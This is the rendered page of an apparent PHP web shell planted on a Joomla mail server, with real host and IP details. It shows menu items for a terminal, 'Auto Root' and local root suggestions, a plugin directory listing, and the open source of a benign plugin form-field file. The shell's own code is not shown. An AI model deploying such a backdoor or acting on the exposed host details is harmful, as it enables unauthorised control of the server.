Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
vnsm /
plugins /
system /
jqueryeasy /
fields /
Delete
Unzip
Name
Size
Permission
Date
Action
themes
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
bootstrapselect.php
1.13
KB
-rwxr-xr-x
2026-06-10 18:30
bootstrapversion.php
1.95
KB
-rwxr-xr-x
2026-06-10 18:30
captionradio.php
3.91
KB
-rwxr-xr-x
2026-06-10 18:30
cdnlinks.php
3.5
KB
-rwxr-xr-x
2026-06-10 18:30
dynamicsingleselectjqe.php
7.07
KB
-rwxr-xr-x
2026-06-10 18:30
extensionauthor.php
1015
B
-rwxr-xr-x
2026-06-10 18:30
extensionconnect.php
1.37
KB
-rwxr-xr-x
2026-06-10 18:30
extensionlink.php
5.12
KB
-rwxr-xr-x
2026-06-10 18:30
extensiontranslators.php
1.19
KB
-rwxr-xr-x
2026-06-10 18:30
extensionversion.php
1.09
KB
-rwxr-xr-x
2026-06-10 18:30
index.html
44
B
-rwxr-xr-x
2026-06-10 18:30
jchoptimizetest.php
1.14
KB
-rwxr-xr-x
2026-06-10 18:30
jquerymobileversion.php
1.4
KB
-rwxr-xr-x
2026-06-10 18:30
jqueryselect.php
1.37
KB
-rwxr-xr-x
2026-06-10 18:30
jqueryuithemeselect.php
3.36
KB
-rwxr-xr-x
2026-06-10 18:30
jqueryuiversion.php
3.01
KB
-rwxr-xr-x
2026-06-10 18:30
jqueryversion.php
2.42
KB
-rwxr-xr-x
2026-06-10 18:30
link.php
1.83
KB
-rwxr-xr-x
2026-06-10 18:30
message.php
4.55
KB
-rwxr-xr-x
2026-06-10 18:30
migrateselect.php
1.71
KB
-rwxr-xr-x
2026-06-10 18:30
migrateversion.php
2.89
KB
-rwxr-xr-x
2026-06-10 18:30
mootoolsversion.php
1.35
KB
-rwxr-xr-x
2026-06-10 18:30
subtitle.php
2.01
KB
-rwxr-xr-x
2026-06-10 18:30
sywextensionpresencetest.php
5.1
KB
-rwxr-xr-x
2026-06-10 18:30
sywonlinehelp.php
1.99
KB
-rwxr-xr-x
2026-06-10 18:30
sywprefixedtext.php
2.55
KB
-rwxr-xr-x
2026-06-10 18:30
templates.php
1.3
KB
-rwxr-xr-x
2026-06-10 18:30
themes.php
817
B
-rwxr-xr-x
2026-06-10 18:30
title.php
2.52
KB
-rwxr-xr-x
2026-06-10 18:30
Save
Rename
<?php /** * @copyright Copyright (C) 2011 Simplify Your Web, Inc. All rights reserved. * @license GNU General Public License version 3 or later; see LICENSE.txt */ // no direct access defined('_JEXEC') or die ; JFormHelper::loadFieldClass('list'); class JFormFieldDynamicSingleSelectJQE extends JFormFieldList { public $type = 'DynamicSingleSelectJQE'; protected $noelement; protected $width; protected $maxwidth; protected $height; protected $selectedcolor; protected $disabledtitle; protected $imagebgcolor; /** * Method to get the field input markup. * * @return string The field input markup. */ protected function getInput() { $lang = JFactory::getLanguage(); $lang->load('plg_system_jqueryeasy.sys', JPATH_SITE); JHtml::_('bootstrap.tooltip'); // build the script JFactory::getDocument()->addScriptDeclaration(" jQuery(document).ready(function () { jQuery('#".$this->id."_elements .element.enabled').each(function() { if (jQuery(this).attr('data-option') == '".$this->value."') { jQuery(this).addClass('selected'); } }); jQuery('#".$this->id."_elements .element.enabled').click(function() { jQuery('#".$this->id."').val(jQuery(this).attr('data-option')).change(); jQuery('#".$this->id."_elements .element').removeClass('selected'); jQuery(this).addClass('selected'); }); }); "); // add the styles JFactory::getDocument()->addStyleDeclaration(" #".$this->id."_elements { display: -webkit-box; display: -ms-flexbox; display: -webkit-flex; display: flex; overflow-x: auto; -ms-flex-wrap: wrap; flex-wrap: wrap; } #".$this->id."_elements .element { display: inline-block; position: relative; vertical-align: top; relative; margin: 0 5px 5px 5px; padding: 15px;".(!empty($this->maxwidth) ? " max-width: ".$this->maxwidth."px;" : "")." text-align: center; cursor: pointer; } #".$this->id."_elements .element.enabled:hover { -webkit-transform: scale(0.8); -ms-transform: scale(0.8); transform: scale(0.8); } #".$this->id."_elements .element.selected.global { background-color: #2384d3; color: #fff } #".$this->id."_elements .element.selected.none { background-color: #bd362f; color: #fff } #".$this->id."_elements .element.selected { background-color: ".$this->selectedcolor."; color: #fff } #".$this->id."_elements .element.disabled { opacity: 0.65; filter: alpha(opacity=65); cursor: default; } #".$this->id."_elements .images-container { display: inline-block; position: relative; width: ".$this->width."px; height: ".$this->height."px; margin-bottom: 5px;" . ($this->imagebgcolor ? " background-color: " . $this->imagebgcolor : "") . " } #".$this->id."_elements .images-container .imagelabel { position: absolute; top: 5px; left: 5px; z-index: 100 } #".$this->id."_elements .title { width: ".$this->width."px; } #".$this->id."_elements .description { width: ".$this->width."px; font-size: .8em } #".$this->id."_elements .element img { display: block; position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); -webkit-transition: opacity .4s ease; transition: opacity .4s ease; max-width: ".$this->width."px; max-height: ".$this->height."px; } #".$this->id."_elements .element img.original { opacity: 1; filter: alpha(opacity=100); } #".$this->id."_elements .element img.hover { opacity: 0; filter: alpha(opacity=0); z-index: 2; } #".$this->id."_elements .element:hover img.hover { opacity: 1; filter: alpha(opacity=100); } #".$this->id."_elements .element:hover img.original { opacity: 0; filter: alpha(opacity=0); } "); $options = array(); if ($this->noelement) { $options[] = array('', JText::_('JNONE'), ''); } $options = array_merge($options, $this->getOptions()); $value = $this->default; if (!empty($this->value)) { $value = $this->value; } $html = '<ul id="'.$this->id.'_elements" class="elements thumbnails">'; foreach ($options as $option) { $class_global = ''; $class_disabled = ''; $class_hastooltip = ''; $title_attribute = ''; if (isset($option[5]) && ($option[5] == 'disabled' || $option[5] == true)) { $class_disabled = ' disabled'; if (!empty($this->disabledtitle)) { $title_attribute = ' title="'.JText::_($this->disabledtitle).'"'; $class_hastooltip = ' hasTooltip'; } } else { $class_disabled = ' enabled'; $title_attribute = ' title="'.JText::_('JSELECT').'"'; $class_hastooltip = ' hasTooltip'; } if ($option[0] == '') { if ($this->use_global) { $class_global = ' global'; } else { $class_global = ' none'; } } else if ($option[0] == 'no' || $option[0] == 'none') { $class_global = ' none'; } $html .= '<li class="element thumbnail'.$class_global.$class_hastooltip.$class_disabled.'" data-option="'.$option[0].'"'.$title_attribute.'>'; $html .= '<div class="images-container">'; if (isset($option[3]) && !empty($option[3])) { $originalclass = ''; if (isset($option[4]) && !empty($option[4])) { $originalclass = ' class="original"'; $html .= '<img class="hover" alt="'.$option[1].'" src="'.$option[4].'" />'; } $html .= '<img'.$originalclass.' alt="'.$option[1].'" src="'.$option[3].'" />'; } if (isset($option[6])) { $html .= '<div class="label label-warning imagelabel">' . $option[6] . '</div>'; } $html .= '</div>'; $html .= '<div class="title">'.$option[1].'</div>'; if (!empty($option[2])) { $html .= '<div class="description">'.$option[2].'</div>'; } $html .= '</li>'; } $html .= '</ul>'; $html .= '<input type="hidden" id="'.$this->id.'" name="'.$this->name.'" value="'.$value.'" />'; return $html; } protected function getOptions() { $xml_options = parent::getOptions(); $options = array(); foreach ($xml_options as $option) { $options[] = array($option->value, $option->text, '', '', '', $option->disable); } // TODO problem 'none' has no value, like global value // $options[] = array('option1', 'Option 1', 'Description 1', 'option1/option1.png', 'option1/option1_hover.png'); // $options[] = array('option2', 'Option 2', 'Description 2', 'option2/option2.png', 'option2/option2_hover.png'); // $options[] = array('option3', 'Option 3', 'Description 3', 'option3/option3.png', 'option3/option3_hover.png', 'disabled'); return $options; } public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); if ($return) { $this->use_global = ($this->element['global'] == "true") ? true : false; $this->noelement = isset($this->element['noelement']) ? filter_var($this->element['noelement'], FILTER_VALIDATE_BOOLEAN) : false; $this->width = 100; $this->maxwidth = ''; $this->height = 100; $this->selectedcolor = '#46a546';//isset($this->element['selectedcolor']) ? $this->element['selectedcolor'] : '#6f6f6f'; $this->disabledtitle = isset($this->element['disabledtitle']) ? $this->element['disabledtitle'] : ''; $this->imagebgcolor = isset($this->element['imagebgcolor']) ? $this->element['imagebgcolor'] : ''; } return $return; } } ?>